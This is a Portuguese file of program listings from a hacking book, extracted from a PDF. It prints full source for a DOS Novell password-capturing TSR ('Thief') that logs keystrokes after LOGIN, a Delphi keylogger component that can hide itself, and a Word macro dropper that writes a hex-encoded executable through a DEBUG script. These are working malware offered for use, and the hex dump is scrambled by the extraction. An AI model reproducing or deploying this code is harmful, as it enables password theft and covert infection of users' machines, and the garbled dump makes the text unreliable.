Tecnicas Para Hackers - Wilson Oliveira

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA

1

Ao Leitor: Conforme explicado no livro, este ficheiro fich eiro contém os Programas (com duas ou mais páginas) para que os possa utilizar sem ter que os re-escrever. re -escrever. Este ficheiro é enviado por e-mail bem como actualizações futuras ao mesmo e outras informações relativas ao assunto do livro, privilegiando, desse modo, os leitores ‘registados’. Esperamos prestar desse modo o melhor serviço aos nossos leitores. Qualquer sugestão ou pedido de esclarecimento podem ser dirigidos a [email protected] Versão 1.0 de 31/Jul/2000

CENTRO ATLÂNTICO – COLECÇÃO TECNOLOGIAS

2 Página 67

; ; Thief - Capturador de palavras-chave Novell ; Copyright (c) - Washington High School ; ; Thief v.1.0 ; cseg

segment assume cs:cseg,ds:cseg org 100h public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create, public cntr,lits,begin .RADIX 16 start: push cs push cs push cs pop ds pop es mov ax,0fffé CLI pop ss mov sp,ax STI jmp begin oi21 dd ? ac dw 0 ob dw 80h dup (?) buff2 db 80h dup (?) fn db 'c:\testing',0F F,'.tmp',0 search1 db 'LOGIN' foundf db 0 fh dw 0 flag db 0 cntr dw 0 ni21: assume cs:cseg,ds:nothing,es:nothing cmp ax,4b00h je exec cmp foundf,0ffh jne nc cmp ah,8 je oc cmp ah,7 je oc nc: push ax mov al,cs:flag not al cmp al,0 jne jtov mov ax,cntr inc ax mov cntr,ax cmp ax,31h jb jtov xor ax,ax mov cntr,ax mov flag,al pop ax pushf

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA call dword ptr [oi21] push ds push cs pop ds push ax push bx push cx push dx jmp short wpwtf jtov: pop ax jmp dword ptr cs:[oi21] exec: call scanfor jmp nc oc: pushf call dword ptr cs:[oi21] assume ds:cseg push ds push cs pop ds push ax push bx push cx push dx mov bx,ac mov [bx],al inc bx mov [ac],bx cmp al,0dh jne lethro mov byte ptr [bx],0ah not cs:[flag] lethro: pop dx pop cx pop bx pop ax pop ds iret scanfor: push ax push di push si push es push ds push cs push cs pop es mov si,dx mov di,offset buff2 moveit: lodsb and al,0dfh stosb or al,al jnz moveit pop ds mov di,offset buff2 look: push di mov si,offset search1 mov cx,5 repe cmpsb

3

4


pop di or cx,cx jz foundit inc di cmp byte ptr [di+5],0 je not_found jmp look not_found: xor ax,ax mov foundf,al jmp short endofsearch foundit: mov ax,0ffh mov foundf,al endofsearch: pop ds pop es pop si pop di pop ax ret wpwtf: mov ax,3d02h mov dx,offset fn pushf call dword ptr [oi21] jnc exist cmp al,2 je create jmp lethro create: mov ah,3ch mov dx,offset fn mov cx,02h+04h pushf call dword ptr [oi21] jnc exist jmp lethro exist: mov fh,ax mov bx,ax mov ax,4202h xor cx,cx xor dx,dx pushf call dword ptr[oi21] mov cx,[ac] mov dx,offset ob sub cx,dx mov [ac],dx inc cx mov bx,fh mov ah,40h pushf call dword ptr [oi21] mov ah,3é mov bx,fh pushf call dword ptr [oi21] jmp lethro lits db 90h begin: mov ax,offset ob mov [ac],ax


cseg

mov ax,3521h int 21h mov di,offset oi21 mov [di],bx mov [di+2],es mov dx,offset ni21 push cs pop ds mov ax,2521h int 21h mov dx,offset lits int 27h ends end start

5

6


Página 72

unit Main; interface uses SysUtils, WinTypes, WinProcs, Classes, Controls, Forms, StdCtrls, ShellAPI, Keyspy, ExtCtrls; type TForm1 = class(TForm) KeySpy: TKeySpy; Label1: TLabel; Label3: TLabel; GroupBox1: TGroupBox; GroupBox2: TGroupBox; Hook: TMemo; Label4: TLabel; Label2: TLabel; Image1: TImage; Panel1: TPanel; GroupBox3: TGroupBox; OnDown: TLabel; OnUp: TLabel; GroupBox4: TGroupBox; ActiveLayout: TLabel; GroupBox5: TGroupBox; Label5: TLabel; procedure Label1Click(Sender: TObject); procedure KeySpyKeySpyDown(Sender: TObject; Key: Byte; KeyStr: String); procedure KeySpyKeySpyUp(Sender: TObject; Key: Byte; KeyStr: String); procedure KeySpyKeyword(Sender: TObject); procedure KeySpyLayoutChanged(Sender: TObject; Layout: string); procedure KeySpyActiveTitleChanged(Sender: TObject; ActiveTitle: String); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure HookChange(Sender: TObject); private public end; var Form1: TForm1; implementation {$R *.DFM} const OldRet: Boolean = False; procedure TForm1.Label1Click(Sender: TObject); begin ShellExecute(GetDesktopWindow, 'open', 'mailto:[email protected]', nil, nil, sw_ShowNormal); end; procedure TForm1.KeySpyKeySpyDown(Sender: TObject; Key: Byte; KeyStr: String); begin OnDown.Caption := 'OnKeySpyDown : Key = ' + IntToStr(Key) + ', KeyStr; if (KeyStr[1] = '-') and (KeyStr[2] = '-') then begin Hook.Lines.Add('');

KeyStr

= ' +

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA OldRet:= True; end else if OldRet then begin Hook.Lines.Add(''); OldRet:= False; end; Hook.Text:= Hook.Text + KeyStr; { For 16-bit only} {$IFNDEF WIN32} if (Length(Hook.Text) > $F0) then Hook.Clear; {$ENDIF} end; procedure TForm1.KeySpyKeySpyUp(Sender: TObject; Key: Byte; KeyStr: String); begin OnUp.Caption:= 'OnKeySpyUp : Key = ' + IntToStr(Key) + ', KeyStr = ' + KeyStr; end; procedure TForm1.KeySpyKeyword(Sender: TObject); begin if Visible then Application.MessageBox('Type ''keyword'' to restore window.', 'Hiding...', mb_Ok or mb_IconInformation); Visible:= not Visible; if Visible then ShowWindow(Application.Handle, sw_Show) else ShowWindow(Application.Handle, sw_Hide); end; procedure TForm1.KeySpyLayoutChanged(Sender: TObject; Layout: string); begin if Layout = '00000419' then begin Layout:= Layout + ' (Russian)'; KeySpy.SpyLayout:= klRussian; end else if Layout = '00000410' then begin Layout:= Layout + ' (Italian (standard))'; KeySpy.SpyLayout:= klItalian; end else begin KeySpy.SpyLayout:= klAmerican; if Layout = '00000409' then Layout:= Layout + ' (US English)' else if Layout = '00000422' then Layout:= Layout + ' (Ukrainian)' else if Layout = '00000423' then Layout:= Layout + ' (Belorusian)' else if Layout = '0000040C' then Layout:= Layout + ' (French (standard))' else if Layout = '00000407' then Layout:= Layout + ' (German (standard))' else if Layout = '00000C0A' then Layout:= Layout + ' (Spanish (standard))'; end; ActiveLayout.Caption:= Layout; end; procedure TForm1.KeySpyActiveTitleChanged(Sender: TObject; ActiveTitle: String); begin Label5.Caption:= ActiveTitle; OldRet:= True; Hook.Text:= Hook.Text + #13#10'[' + ActiveTitle + ']'; { For 16-bit only}

7

8


{$IFNDEF WIN32} if (Length(Hook.Text) > $F0) then Hook.Clear; {$ENDIF} end; procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin {} CanClose:= True; end; end.


9

Página 75

unit KeySpy; interface uses {$IFDEF WIN32} Windows, {$ELSE} WinTypes, WinProcs,{$ENDIF} SysUtils, Controls, Classes, Messages, Forms; type TSpyLayout = (klAmerican, klItalian, klRussian, klPortuguese); TOnKeySpy = procedure(Sender: TObject; Key: Byte; KeyStr: String) of object; {$IFDEF Win32} TOnLayoutChanged = procedure(Sender: TObject; Layout: String) of object; {$ENDIF} TOnActiveWindowChanged = procedure(Sender: TObject; ActiveTitle: String) object; TKeySpy = class(TComponent) private {$IFDEF Win32} CurrentLayout: String; FActiveLayout: String; {$ENDIF} CurrentActiveWindowTitle: String; FActiveWindowTitle: String; FSpyLayout: TSpyLayout; FWindowHandle: HWnd; FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy; FOnKeyword: TNotifyEvent; {$IFDEF Win32} FOnLayoutChanged: TOnLayoutChanged; {$ENDIF} FOnActiveWindowChanged: TOnActiveWindowChanged; FEnabled: Boolean; FKeyword, KeyComp: String;

of

OldKey: Byte; LShiftUp, RShiftUp: Boolean; procedure UpdateTimer; procedure SetEnabled(Value: Boolean); procedure SetKeyword(Value: String); procedure WndProc(var Msg: TMessage); procedure SetNothingStr(Value: String); protected procedure KeySpy; dynamic; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; published property ActiveWindowTitle: String read FActiveWindowTitle write SetNothingStr; property Enabled: Boolean read FEnabled write SetEnabled; property Keyword: String read FKeyword write SetKeyword; property SpyLayout: TSpyLayout read FSpyLayout write FSpyLayout; {$IFDEF Win32} property ActiveLayout: String read FActiveLayout write FActiveLayout; {$ENDIF} property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown; property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp; property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword; {$IFDEF Win32} property OnLayoutChanged: TOnLayoutChanged read FOnLayoutChanged write FOnLayoutChanged;

10


{$ENDIF} property OnActiveTitleChanged: TOnActiveWindowChanged FOnActiveWindowChanged write FOnActiveWindowChanged; end; procedure Register; implementation {$I KLayouts.inc} constructor TKeySpy.Create(AOwner: TComponent); begin inherited Create(AOwner); LShiftUp:= True; RShiftUp:= True; FEnabled:= True; FWindowHandle:= AllocateHWnd(WndProc); if FEnabled then UpdateTimer; end; destructor TKeySpy.Destroy; begin FEnabled:= False; UpdateTimer; DeallocateHWnd(FWindowHandle); inherited Destroy; end; procedure TKeySpy.WndProc(var Msg: TMessage); begin with Msg do if Msg = WM_TIMER then try KeySpy; except Application.HandleException(Self); end else Result:= DefWindowProc(FWindowHandle, Msg, wParam, lParam); end; procedure TKeySpy.UpdateTimer; var b: Byte; begin KillTimer(FWindowHandle, 1); if FEnabled then begin asm mov al, 60h mov b, al end; OldKey:= b; if SetTimer(FWindowHandle, 1, 1, nil) = 0 then raise EOutOfResources.Create('No timers'); end; end; procedure TKeySpy.SetEnabled(Value: Boolean); begin if Value <> FEnabled then begin FEnabled:= Value; UpdateTimer;

read

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA end; end; procedure TKeySpy.SetKeyword(Value: String); begin Value:= LowerCase(Value); if Value <> FKeyword then FKeyword:= Value; end; procedure TKeySpy.KeySpy; var PC: Array[0..$FFF] of Char; Key: Byte; St: String; Wnd: hWnd; begin {$IFDEF Win32} Wnd:= GetForegroundWindow; {$ELSE} Wnd:= GetActiveWindow; {$ENDIF} SendMessage(Wnd, wm_GetText, $FFF, LongInt(@PC)); FActiveWindowTitle:= StrPas(PC); if CurrentActiveWindowTitle <> FActiveWindowTitle then begin CurrentActiveWindowTitle:= FActiveWindowTitle; if Assigned(FOnActiveWindowChanged) then FOnActiveWindowChanged(Self, FActiveWindowTitle); end; {$IFDEF Win32} GetKeyboardLayoutName(PC); FActiveLayout:= StrPas(PC); if (FActiveLayout <> CurrentLayout) then begin CurrentLayout:= FActiveLayout; if Assigned(FOnLayoutChanged) then FOnLayoutChanged(Self, FActiveLayout); end; {$ENDIF} asm in al, 60h mov Key, al end; if Key = 170 then begin Key:= 84; LShiftUp:= True; end; if Key = 182 then begin Key:= 85; RShiftUp:= True; end; if Key = 42 then LShiftUp:= False; if Key = 54 then RShiftUp:= False; if Key <> OldKey then begin OldKey:= Key; if Key <= 88 then begin case FSpyLayout of klAmerican: if LShiftUp and RShiftUp then

11


12

St:= StrPas(LowButtonName[Key]) else St:= StrPas(HiButtonName[Key]); klItalian: if LShiftUp and RShiftUp then St:= StrPas(ItalianLowButtonName[Key]) else St:= StrPas(ItalianHiButtonName[Key]); klRussian: if LShiftUp and RShiftUp then St:= StrPas(RussianLowButtonName[Key]) else St:= StrPas(RussianHiButtonName[Key]); klPortuguese: if LShiftUp and RShiftUp then St:= StrPas(PortugueseLowButtonName[Key]) else St:= StrPas(PortugueseHiButtonName[Key]); end; if Assigned(FOnKeySpyDown) then FOnKeySpyDown(Self, Key, St); if Assigned(FOnKeyword) then begin KeyComp:= KeyComp + St; if Length(KeyComp) > Length(FKeyword) then begin Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp)); {$IFDEF WIN32} SetLength(KeyComp, Length(FKeyword)); {$ELSE} KeyComp[0]:= char(Length(FKeyword)); {$ENDIF} end; if LowerCase(KeyComp) = FKeyword then FOnKeyword(Self); end; end else if Key - 128 <= 88 then begin case FSpyLayout of klAmerican: if LShiftUp and RShiftUp then St:= StrPas(LowButtonName[Key - 128]) else St:= StrPas(HiButtonName[Key - 128]); klItalian: if LShiftUp and RShiftUp then St:= StrPas(ItalianLowButtonName[Key - 128]) else St:= StrPas(ItalianHiButtonName[Key - 128]); klRussian: if LShiftUp and RShiftUp then St:= StrPas(RussianLowButtonName[Key - 128]) else St:= StrPas(RussianHiButtonName[Key - 128]); klPortuguese: if LShiftUp and RShiftUp then St:= StrPas(PortugueseLowButtonName[Key]) else St:= StrPas(PortugueseHiButtonName[Key]); end; if Assigned(FOnKeySpyUp) then FOnKeySpyUp(Self, Key, St) end; end; end; procedure TKeySpy.SetNothingStr(Value: String); begin {} end; procedure Register;

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA begin RegisterComponents('UtilMind', [TKeySpy]); end; end.

13

14


Página 117

Sub MAIN caminho$ = Ambiente$("LEGADO") If caminho$ = "NOWAY" Then Goto If Hora(Agora()) < 5 + 12 Then Goto NoDropper End If Open "C:\legado.SCR" For Output Print #1, "N c:\legado.com" Print #1, "E0100 4D 5A 60 00 10 Print #1, "E0110 00 25 00 00 54 Print #1, "E0120 3C 00 00 00 4C Print #1, "E0130 E6 00 00 00 F5 Print #1, "E0140 26 01 00 00 31 Print #1, "E0150 93 01 00 00 BB Print #1, "E0160 56 02 00 00 64 Print #1, "E0170 9B 02 00 00 B5 Print #1, "E0180 E9 02 00 00 F7 Print #1, "E0190 2F 03 00 00 49 Print #1, "E01A0 6C 03 00 00 7A Print #1, "E01B0 A9 03 00 00 C3 Print #1, "E01C0 02 04 00 00 0C Print #1, "E01D0 8E 04 00 00 B2 Print #1, "E01E0 FA 04 00 00 08 Print #1, "E01F0 38 05 00 00 52 Print #1, "E0200 93 05 00 00 A7 Print #1, "E0210 C5 05 00 00 CF Print #1, "E0220 E8 05 00 00 F7 Print #1, "E0230 5D 06 00 00 99 Print #1, "E0240 BF 06 00 00 CF Print #1, "E0250 0F 07 00 00 1E Print #1, "E0260 74 07 00 00 83 Print #1, "E0270 B1 07 00 00 BB Print #1, "E0280 EB 07 00 00 F5 Print #1, "E0290 73 08 00 00 7D Print #1, "E02A0 A2 08 00 00 AA Print #1, "E02B0 09 00 BF 00 24 Print #1, "E02C0 01 00 21 01 1B Print #1, "E02D0 60 09 21 01 76 Print #1, "E02E0 55 89 E5 81 EC Print #1, "E02F0 00 FF C5 76 06 Print #1, "E0300 80 FE 16 57 8D Print #1, "E0310 BE 80 FE 16 57 Print #1, "E0320 80 FE 16 57 BF Print #1, "E0330 74 06 FF 36 72 Print #1, "E0340 A1 6C 06 A3 58 Print #1, "E0350 5C 06 A1 6A 06 Print #1, "E0360 06 A3 64 06 8D Print #1, "E0370 EC 5D CA 04 00 Print #1, "E0380 8C DB FC 8D BE Print #1, "E0390 A4 8E DB A1 58 Print #1, "E03A0 5C 06 A3 70 06 Print #1, "E03B0 06 A1 64 06 A3 Print #1, "E03C0 FF 16 57 9A 3F Print #1, "E03D0 00 50 9A 7A 04 Print #1, "E03E0 57 9A 99 01 8D Print #1, "E03F0 9A 7A 04 21 01 Print #1, "E0400 36 72 06 9A BA Print #1, "E0410 04 21 01 89 EC Print #1, "E0420 8C D3 8E C3 8C Print #1, "E0430 91 30 ED F3 A4 Print #1, "E0440 1E 57 8D BE FE Print #1, "E0450 1E 57 B8 01 00 Print #1, "E0460 8D BE F4 FE 16 Print #1, "E0470 9A 65 05 21 01 Print #1, "E0480 86 F7 FE 3A 06 Print #1, "E0490 46 FF 00 BF D6 Print #1, "E04A0 89 EC 5D CA 04 Print #1, "E04B0 4D 50 0B 43 4F Print #1, "E04C0 69 72 74 65 6D

NoDropper

As #1 'Joga o script 00 08 00 00 01 01 02 02 02 03 03 03 04 04 05 05 05 05 05 06 06 07 07 07 07 08 08 00 01 09 80 AC BE B8 72 06 06 A3 BE 55 00 06 A1 66 04 21 00 8D 00 5D DB 8E FE 50 57 8A 06 00 00 4D 70

70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF 21 21 01 AA 00 80 06 BF A1 60 80 89 FF A3 60 06 21 01 8D BE 8D CA FC DB 16 9A B8 86 00 1E 0B 4D 2E

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 8C 91 FF 00 1E 66 6E 06 FE E5 C5 6C 06 8D 01 BF BE 80 00 04 8D C7 57 7A 0A F6 75 57 56 41 74

1E 1C 5E 04 6B 22 73 D0 07 53 8A DD 5C BC 19 6D B1 DE 02 A4 DA 5C 96 D0 57 86 C0 37 B5 95 D3 30 16 50 57 06 06 A1 16 81 76 06 A3 BE 8D 66 80 FE 8D 00 BE 86 9A 04 00 FE 06 9A 49 4E 6D

00 00 00 01 01 02 02 02 03 03 03 03 04 04 05 05 05 05 06 06 06 07 07 07 08 08 08 00 02 09 8E ED 57 9A 9A 1E A3 68 57 EC 06 A1 6A 80 BE 06 FE 16 BE 55 FE F0 3F 21 50 3A C6 FB 52 44 70

E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF 21 21 C3 F3 9A 7A 93 57 5A 06 9A 80 AC 5A 06 FE 80 1E 16 57 80 89 FE FE 04 01 8D 06 46 04 54 2E 0B

02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 8C A4 3F 04 00 9A 06 A3 FB 01 AA 06 A1 16 FE 57 57 FF FE E5 C5 01 21 BF BE 05 FF 21 45 43 76

E0 2D 8D 13 79 37 81 DA 15 5D 98 F8 84 CE 29 88 C0 E3 0D B4 FF 6F A0 DA 5C 94 BE 3B 45 00 DB 8E 04 21 8D 55 A1 62 04 8C 91 A3 62 57 16 BF B8 36 16 81 76 00 01 D6 F2 00 01 01 4D 4F 69

02 00 00 01 01 02 02 02 03 03 03 03 04 04 05 05 05 05 06 06 06 07 07 07 08 08 02 01 09 00 FC DB 21 01 00 01 70 06 21 D3 30 6E 06 8D 57 72 80 74 57 EC 06 BF BF 00 FE 75 EB 8A 50 4D 72

58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8D BF 21 00 8D 8D 01 8D FF 8D 06 A1 01 8E ED 06 A3 BE B8 06 00 06 9A 10 AC D6 D6 1E 16 10 04 46 2E 0B 74

02" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 00" 01" 00" BE" BE" 8D" BE" 36" 00" A3" 66" 89" C3" F3" A1" 68" 00" 80" 1E" 50" FF" FB" 01" AA" 00" 00" 57" 57" 8A" C6" FF" 54" 76" 65"

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print

#1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1,

"E04D0 "E04E0 "E04F0 "E0500 "E0510 "E0520 "E0530 "E0540 "E0550 "E0560 "E0570 "E0580 "E0590 "E05A0 "E05B0 "E05C0 "E05D0 "E05E0 "E05F0 "E0600 "E0610 "E0620 "E0630 "E0640 "E0650 "E0660 "E0670 "E0680 "E0690 "E06A0 "E06B0 "E06C0 "E06D0 "E06E0 "E06F0 "E0700 "E0710 "E0720 "E0730 "E0740 "E0750 "E0760 "E0770 "E0780 "E0790 "E07A0 "E07B0 "E07C0 "E07D0 "E07E0 "E07F0 "E0800 "E0810 "E0820 "E0830 "E0840 "E0850 "E0860 "E0870 "E0880 "E0890 "E08A0 "E08B0 "E08C0 "E08D0 "E08E0 "E08F0 "E0900 "E0910 "E0920 "E0930 "E0940 "E0950

6D C3 F3 EA D2 00 FF 50 9A 04 08 1E 16 9C 21 57 B8 00 00 16 01 8D 9A 56 01 57 57 60 8D 9A FF BE BF FB 00 E5 C5 06 B8 F4 00 57 0E 28 F9 34 EB 2E 16 57 60 57 57 BE 65 FF BE 8D 9A B8 07 21 01 9A B8 FB EC 6F 77 89 8D 46 83

70 8C A4 07 01 FF 16 9A 3F 21 50 57 57 D8 01 BF 01 FF 50 57 BF BE FB 01 1E 8D B8 1E BE 65 B6 9E 56 04 FF 81 76 AC 20 06 75 9A E8 7D 06 FD 8C 74 57 B8 1E BF B8 FC 05 B6 FE 7E FB 01 21 01 8D 78 80 04 5D 6D 69 E5 7E F7 7E

2E DB 8E 21 0E 16 57 7A 04 01 8D 8D 9A 3B BF 76 00 16 9A B8 D6 9C 04 1E 57 BE 01 31 A0 05 9E D8 01 21 16 EC 0A AA 00 00 02 F9 A5 21 21 EB 89 6D BF 01 31 D8 01 F6 21 FE FE 80 04 00 01 9A BE 07 00 21 CB 09 6E 81 FC 00 FC

54 FC DB 01 57 57 9A 04 21 BF BE BE 6C 86 D6 06 50 57 83 60 01 D8 21 57 B8 00 00 D2 E0 21 D8 00 1E 01 57 00 AC 91 50 75 EB 06 FC 8D 01 02 EC 70 76 00 D2 04 00 16 01 FE 00 16 21 50 8D 78 FC 21 50 01 0E 63 64 EC 16 81 0C

4D 8D 8D 75 9A 0E 3F 21 01 56 9E A0 05 9E 01 1E 9A 9A 04 1E 1E 16 01 BF 01 FF 50 52 16 01 8D 74 57 BF 0E 04 AA 30 BF 6D 5D 21 08 BE BF EB 5D 01 06 50 52 0E 50 57 8D 8D 74 57 01 9A BE 07 F3 01 9A 8D 63 3A 6F 8A 57 7E 72

50 BE BE 03 EA E8 04 01 BF 01 D8 D8 21 D8 1E 57 7A 3F 21 50 57 57 BF EA 00 16 9A 50 57 BF BE 0A 9A 56 E8 8C 91 ED C8 83 8D 01 C0 00 E6 0C CA 20 1E 9A 50 57 9A B8 BE BE 0A 9A BF 71 FC 21 16 9A 83 BE 3A 5C 77 00 8D FA 04

55 00 00 E9 07 B8 21 BF D6 1E 16 16 01 74 57 9A 04 04 01 8D 8D 9A D6 01 50 57 7A 9A B8 D6 9C 8B FB 01 7D D3 30 F3 06 3E BE BF 75 FC 06 BF 08 55 57 7A 9A 9A 83 00 00 FC 8B FB D8 06 F4 01 57 3F 04 00 5C 69 73 8D 7E CE C6

89 FF FF EF 21 FD 01 D6 01 57 57 57 83 BB 9A 3F 21 21 BF BE BE 6C 01 0E 9A 9A 04 CD 60 01 D8 86 04 1E FC 8E ED A4 1E C6 00 E6 2E 16 1E C8 00 89 9A 04 CD 3F 04 08 FF FE 86 04 04 21 16 BF B8 02 21 FF 63 6F 5C 7E F8 07 46

E5 C5 16 01 01 BF BF 01 1E 8D 9A FF BE BF FB 04 01 01 56 9E A0 05 1E 57 7A 3F 21 05 1E 1E 16 9C 21 57 89 C3 F3 8E 57 06 FD 06 FF 57 57 06 0B E5 3F 21 05 04 21 50 16 16 FC 21 0E 01 57 E4 03 8D 01 16 6F 2E 77 FA 16 75 F7

81 76 57 8D 75 56 56 1E 57 BE 65 B6 9E 56 04 21 BF BF 01 D8 E0 21 57 9A 04 04 01 21 50 57 57 D8 01 9A EC 8C A4 DB 9A 28 16 1E 06 8D 9A 1E 76 81 04 01 21 21 01 8D 57 57 FE 01 57 BF B8 04 00 00 8D 57 6D 73 69 16 57 10 01

EC 06 BF BE 03 01 01 57 B8 A0 05 9E D8 01 21 01 D6 D6 1E 16 16 01 9A 3F 21 21 BF 01 8D 8D 9A 3B BF FD 5D DB 8D 8D D9 7D 57 57 C6 BE 78 57 69 EC 21 8D 01 01 8D BE 8D 9A 3B 8D 8D E4 02 0E 50 8D BE 9A 6D 79 6E 57 9A 83 81

64 AC C6 00 E9 1E 1E BF 01 D8 21 D8 00 1E 01 BF 01 01 57 57 57 BF FB 04 01 01 D6 BF BE BE 6C 86 D6 05 CA FC BE BE 00 66 8D 9A 06 00 07 9A 72 04 01 7E 8D 8D 7E FE BE 6C 86 BE BE 04 00 57 9A BE 00 FD 61 73 2E 8D 00 7E 7E

27 AA 01 FF DA 57 57 DE 00 16 01 8D 74 57 BF 56 1E 1E 8D 9A FF 56 04 21 BF BF 01 56 9E A0 05 9E 01 21 04 8D 00 00 8D 80 BE 78 83 FE 21 17 74 0C 8D 80 BE BE 80 FE FC 05 FE 00 FC 0E 50 9A 71 00 FF 05 6E 12 63 7E 00 FE FA

8C 91 0E 16 01 8D B8 01 50 57 BF BE 0A 9A 56 01 57 57 BE 65 B6 01 21 01 D6 D6 1E 01 D8 E0 21 D8 1E 01 00 BE FE FF 00 3E 00 07 3E 16 01 01 65 8D 7E 16 00 00 16 16 F6 21 FE FF F5 57 9A 78 06 FF 16 21 64 63 6F FE 8D 07 CE

D3 30 57 57 8D BE 01 0E 9A B8 D6 9C 8B FB 01 1E 8D B8 A0 05 9E 1E 01 BF 01 01 57 1E 16 16 01 74 57 8D 55 00 C5 16 83 E6 FE 21 C6 57 0E 8D 6D 7E 80 57 FF FF 57 57 16 01 74 16 16 9A 71 07 21 16 57 01 2E 3A 6D 16 00 72 07

8E" ED" 9A" BF" BE" 00" 00" 57" 83" 00" 01" D8" 86" 04" 1E" 57" BE" 01" E0" 21" D8" 57" BF" 56" 1E" 1E" B8" 57" 57" 57" 83" BB" 9A" BE" 89" FF" 76" 57" 3E" 06" 16" 01" 06" 9A" E8" 00" 70" 80" 16" B8" 16" 16" 8D" 9A" 57" 83" BA" 57" 57" 78" 06" 21" 01" 57" 9A" 89" 63" 5C" 55" 57" C6" 0A" 76"

15


16 Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print

#1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1,

"E0960 "E0970 "E0980 "E0990 "E09A0 "E09B0 "E09C0 "E09D0 "E09E0 "E09F0 "E0A00 "E0A10 "E0A20 "E0A30 "E0A40 "E0A50 "E0A60 "E0A70 "E0A80 "E0A90 "E0AA0 "E0AB0 "E0AC0 "E0AD0 "E0AE0 "E0AF0 "E0B00 "E0B10 "E0B20 "E0B30 "E0B40 "E0B50 "E0B60 "E0B70 "E0B80 "E0B90 "E0BA0 "E0BB0 "E0BC0 "E0BD0 "E0BE0 "E0BF0 "E0C00 "E0C10 "E0C20 "E0C30 "E0C40 "E0C50 "E0C60 "E0C70 "E0C80 "E0C90 "E0CA0 "E0CB0 "E0CC0 "E0CD0 "E0CE0 "E0CF0 "E0D00 "E0D10 "E0D20 "E0D30 "E0D40 "E0D50 "E0D60 "E0D70 "E0D80 "E0D90 "E0DA0 "E0DB0 "E0DC0 "E0DD0 "E0DE0

04 57 57 57 01 01 04 2A 00 00 C6 01 FF FB FC 01 9A FE 21 06 FC 21 16 0E 8B 05 31 E8 FB 4F E5 9A 07 50 13 0E 21 55 7E 10 CD C2 AB 0C 08 5D CA 21 06 26 33 C5 98 B0 00 CD 00 AE C0 09 00 AB 1F FC D0 D8 00 07 AC AA 74 FB C4

C6 BF 9A 9A 8D 8D 50 2E 8D 8D 86 00 46 16 FC 9A 13 16 01 21 8D 01 57 57 46 2A C0 EB 0E 57 81 D1 31 9A 07 E8 01 8B 0A 00 21 C4 8A 8A 00 CA 02 73 FC 8B C0 76 91 16 8B 21 72 F6 A3 D3 AB 8B 00 AD AD AD 55 AC 3C 1F 11 EB 7E

46 13 FD 3F BE BE 41 65 BE BE FE 3B FE 57 16 78 07 57 8D 01 BE BF 8D 9A FE 2E A3 FB E8 41 EC 01 C0 71 21 32 00 EC AB 55 5D 7E C5 4E 55 04 00 06 91 1D A3 0C F3 1F E5 1F 1E D1 F4 E8 8B 46 D1 2D 03 D1 8B 3C 61 1E 8D EA 0A

F7 06 05 04 76 76 54 78 FE FE FE 86 8B 8D 57 07 21 9A BE BF FC EE BE 78 3B 63 C6 BF B0 59 00 8D 9A 06 01 FC 00 B4 8A 8B CA 06 C4 0A 8B 00 55 33 AB 8B F4 8D A4 8B 5D B4 83 8A 06 05 46 0A E0 BC D0 E8 EC 1F 72 8E 7E 8B 8A

01 0E 21 21 FF FF 48 65 FC FD 00 FC 7E BE 8B 21 01 F9 FC EC FC 06 FE 07 86 6F 06 17 FE 9A 01 00 16 21 B0 0E 00 2A C6 EC 06 AB 7E 8A EC 55 8B C9 92 4E 06 7E 32 4E CA 4F C7 C1 C3 BC 0C B1 AB 07 AD 03 83 76 06 1E E0 FE C1

